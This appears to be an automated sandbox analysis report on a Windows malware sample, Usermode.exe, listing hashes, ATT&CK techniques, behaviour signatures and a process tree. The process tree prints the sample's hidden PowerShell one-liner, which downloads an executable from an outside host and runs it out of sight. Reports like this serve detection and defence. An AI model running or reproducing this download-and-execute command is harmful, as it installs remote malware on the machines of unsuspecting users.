dc8949a291d347bcac79866817bb50ddc0c2644a4c6010bb8c41a20fc948c598

Analysis

geolocation tags

eueuropelondonukunited-kingdom
user interaction
yes
max time kernel
4s
max time network
5s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/07/2026, 14:36

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General

Target
Usermode.exe
Size 550KB
Sample260719-ryptbafv6z
SHA256 dc8949a291d347bcac79866817bb50ddc0c2644a4c6010bb8c41a20fc948c598
MD5 714e5427cccc0894392c5c08e8a6d5bd
SHA1 d1741e417f3b1719c57765e0eada1fec3c5b665e
SHA512 e06616b447baf7589ecc8b180e63afe712d1b83e1e851aff252f2c9e6f3288331d264da13db2fe5fcbd961e9167c5d0a0d11dae581cb430d62af6305eb054bfa
SSDEEP 12288:ODIvvSrzjFbEeXDQs1FDbppFExE1e4jviAnCC:ODrzRE+DtF/DFPLiAnCC
TLSH
T1A6C4AF46F1E952F9C07BA1389A66D51BED3638141B7445CF33D408A81BB37F09BBA722
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3924	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1200	cmd.exe
4872	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3924	powershell.exe
3924	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3924	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 1200	3944	Usermode.exe	84
PID 1200 wrote to memory of 4872	1200	cmd.exe	85
PID 4872 wrote to memory of 3924	4872	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\Usermode.exe
"C:\Users\Admin\AppData\Local\Temp\Usermode.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK740187.exe; Start-Process -FilePath $env:TEMP\BK740187.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK740187.exe; Start-Process -FilePath $env:TEMP\BK740187.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK740187.exe; Start-Process -FilePath $env:TEMP\BK740187.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_jhkw4gez.1uy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhkw4gez.1uy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/3924-1-0x0000020D56110000-0x0000020D56120000-memory.dmp

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memory/3924-0-0x0000020D56110000-0x0000020D56120000-memory.dmp

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memory/3924-7-0x0000020D70940000-0x0000020D70962000-memory.dmp

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memory/3924-10-0x0000020D56110000-0x0000020D56120000-memory.dmp

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